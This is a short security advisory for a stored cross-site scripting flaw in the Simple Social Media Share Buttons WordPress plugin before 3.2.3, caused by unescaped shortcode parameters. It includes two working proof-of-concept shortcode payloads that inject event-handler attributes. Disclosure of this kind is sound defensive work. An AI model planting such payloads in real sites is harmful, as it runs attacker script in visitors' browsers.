Simple Social Media Share Buttons < 3.2.3 - Contributor+ Stored XSS

2021-07-2600:00:00

apple502j

318

ssb

social media

share buttons

stored xss

contributor+

EPSS

0.001

Percentile

24.8%

JSON

The plugin did not escape the align and like_button_size parameters of its SSB shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.

[SSB align='" onmouseover="alert(/align/)//' like_button_size='4" onmouseover="alert(/like_button_size/)//']

[SSB align='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//' like_button_size='4" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:324E6B7B-A2AC-4C08-8B97-0967513F7328